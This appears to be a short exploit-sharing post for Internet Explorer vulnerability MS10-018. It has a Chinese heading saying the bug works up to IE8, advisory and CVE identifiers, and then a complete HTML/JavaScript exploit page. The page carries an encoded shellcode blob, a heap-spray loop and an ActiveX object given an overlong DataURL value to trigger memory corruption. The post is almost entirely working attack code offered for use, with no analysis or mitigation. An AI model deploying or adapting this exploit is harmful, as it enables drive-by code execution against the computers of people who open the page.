MS IE MS10018 Exploit Published
传说中这个漏洞一直通杀到IE8（JIT）
| Title : Microsoft Internet Explorer Code Execution Vulnerabilities (MS10-018) VUPEN ID : VUPEN/ADV-2010-0744 CVE ID : CVE-2010-0267 - CVE-2010-0488 - CVE-2010-0489 - CVE-2010-0490 - CVE-2010-0491 - CVE-2010-0492 - CVE-2010-0494 - CVE-2010-0805 - CVE-2010-0806 - CVE-2010-0807 /*ms10018 Exploit*/ <html><body> <script> var cn = new Array(); var shellcode = unescape( '%uf946%u41fd%u9f4f%uf83f%u4a4e%ufc9b%u9b27%u9f42%u48f5%u4e9b%u46fc%u994f%u4f9f%ufc4f%u9892%u46fc%u99f5%u463f%u9293%u4afc%u4043%ud693%u9242%ud64f%u9643%u484f%u9743%u27f8%u27d6%u4347%u2791%uf948%u4a91%u9b9f%u37fc%u9292%u9648%u374b%u3f2f%u99fd%u9f4a%uf591%u2fd6%u379f%u37d6%u9097%ufc49%ufc46%u923f%u4640%u9ff5%u929b%u4827%u9043%u37f8%uf93f%u9992%u9899%u964a%u9948%u9f98%u9646%u4190%u4797%u4841%u2f9b%u4796%u4742%u2ff5%ufc46%u9b3f%u27f9%uf937%u9348%u414b%ud642%u9827%ufc4b%u9848%u963f%u9349%u2f4f%u4a48%ud693%u49fd%u9191%ud641%u9640%u3f4a%u4137%u474a%u4899%u4f3f%u939b%uf941%u9041%ufc9f%u9693%u4f47%u9392%u274e%uf990%u4af9%u9748%uf547%u4f4f%u489b%u27fc%u9048%ufd3f%u9b97%u49d6%uf99f%u4092%u424f%u4327%u9196%uf52f%u9b41%u4b41%u93f5%uf54a%u2f48%u9048%u9ff9%u9842%u4e41%u90f8%u3f9f%ud64f%ufc3f%u9b27%uf5f5%u4e96%u4049%ud69b%u43f8%u273f%u4f96%ud691%u964b%ufcf9%u4140%u4efc%u2797%uf999%u4743%u3f37%u974a%uf83f%ufc9b%ufc4f%u4a4b%u43d6%u464e%u27d6%ufc98%u93fc%u4696%u9297%u963f%u9299%u4096%u9697%u4227%u9891%uf940%u47f9%u9742%u4b9b%u4247%u484f%u2743%u9b3f%ufd2f%u41f8%uf99b%ud646%u93f8%u9940%ud648%u9290%u4f49%ufc4f%u48f8%u3f98%u9b91%u9f98%u4640%u4348%u462f%ud647%u964e%u9f49%ud69b%u41f9%u4841%u92fc%u4f93%u9b98%u492f%u4093%ufdd6%u9792%u4698%u4347%u9197%u2746%u274b%u4640%u4890%u4b92%u4141%u4e96%u9640%u9646%u4f3f%u41fc%u9892%u3f2f%u9046%u9396%ufc4e%u404a%u9646%u4197%u9091%u93d6%u9796%u4f49%u90f9%u9f48%ufd92%u4e4a%u4697%ufdfd%u4a98%u97f9%u404f%u46fd%u42f5%u4137%u9247%uf941%u4bfd%u9692%u47f5%u9890%u9093%u404f%u9897%u419b%u474f%u4796%u4193%u90fd%u373f%u424e%u4793%u4641%u2796%u4f4b%uf992%u3747%u4a2f%u4b9f%u41fd%u9327%u424f%ufd99%u4b9b%ufc9b%u274a%u3749%u9127%u4e49%uf5fc%u4a27%u3f4b%u272f%u403f%u4198%u4a93%u93fd%u4a4b%u434a%u414e%u3792%ud627%u2797%uf99b%u4141%ufd46%u4f93%u9947%u9397%uf84b%u48f8%u2740%u414b%u989f%u4098%u3748%u4037%uf546%u49fc%u9f4e%u4841%u2792%u9f97%u43fc%u99d6%u9399%u4640%u92f8%u4391%u9f91%u4737%ufd2f%u4690%u274a%u4398%u934a%u9137%u984f%u92fd%u99fd%u402f%uf9f8%u4091%u93f5%u374b%ufd4a%u4047%u924a%u4841%u929f%u4e9b%u9042%u4298%ufc40%uf991%uf898%u9892%u9891%ufcfc%u4237%u4741%u4f90%u939f%u3f98%uf998%u4092%u4092%u4a99%u484f%u993f%u9ffc%u42f8%u2f98%uf59f%u98f5%u9bf9%u922f%u973f%u9241%u964f%u2f37%u982f%u9342%u4e37%u9249%u9b37%u403f%u9146%u482f%u9143%uf947%uf5f8%u9648%u422f%u4749%ud691%ufcd6%u9b4a%u2743%ud69f%u43f5%u4199%u9bf5%u4f4b%u2747%u9341%u4a3f%u9390%u4097%u9249%ud94e%ubac2%u01cf%uba17%u74d9%uf424%uc931%u33b1%u835b%ufceb%u5331%u0315%u1553%uf42d%u7e96%u05e5%u8167%u02f9%u7e11%ud301%uf642%ue2e4%u6c50%u566d%ue665%u5b23%uaa0e%ue8d7%u6362%u59d8%u55c8%u5ad7%u59fc%u99bb%u259e%ucdc1%u1740%u000a%u5080%ueb76%u09d0%u5efd%u3ec5%u6343%u90e4%udbc8%u959e%uaf0e%u9714%u005e%udf22%u2a46%uc06c%uff77%u3c6e%u743e%ub644%u5cc1%u3794%ua0f0%u067b%u2d3d%u4e85%ucef9%ua4f0%u73fa%u7f03%uaf81%u6286%u3b21%u4730%ue8d0%u0ca7%u45de%u4ba3%u58c2%ue060%ud1fe%u2787%ua177%ue3a3%u71dc%ub2cd%ud4b8%ua5f2%u8864%uad56%udd86%uece1%u20cc%u8b63%u23a9%u947b%u4b99%u1f4a%u0b76%uca53%ue333%u5719%u6c15%u0dc4%uf124%ufbf7%u0c6a%u0e74%ueb12%u7b64%ub717%u9722%ua865%u97c6%uc9da%ufbc2%u59bd%ufb8e'); var big = unescape("%u0c0c%u0c0c%u0c0c%u0c0c"); do { big += big } while( big.length < 0x4000 ); for (i = 0; i < 150; i++) cn[i] = big + shellcode; </script> <object classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83'> <param name='DataURL' value='http://FIZhqYTkyJeNotW7jWmki7qTSbfsSRFkvvgaaPqnDf4T0e2KPcuqJ5nKeblbmg6qfuQbottEU80XcpiT0Hasu8PzTys7WFPoZLt4u3f0E4RuokYXpgJkJIWmis1RE147NqxinQ6EuTbEfXiyNoA7hYNO5lD3Valc0ICSWz07WMJBjbwxfi12NCAGiIv2j0bCXjit4ob9ZVxuqLoS2EPnwUdIfKDAK5BedMI5rYMtKJENCgBX85fSq8I1LnPdnYrGhFN7y9zqpKvWxmUKfNtNyuFIjs2vUG1e0ROpaWgAghflnK0Yllvl7KWaNVh4M6HCjDNEVJB4oipUTTiIFTxb4KIcle9Q3VOzNiyfZRnvac9VILWaxOcJstGWM5PSwTtIOCilT538prYGEFeQHCNPLDMiNY04NvLrh2XVjT9iOB8Hgf2iPy6I7bEMOFoc2CLC1MbmJwe1YRK06jdCENOiArc9PZ9SzmIhHiwQmNu0IbEaLE3uOQZO0e9c8jCzCSHQ46Aj3NpjMaUJ5uXndoQs29acnR'/> </object> </body></html> |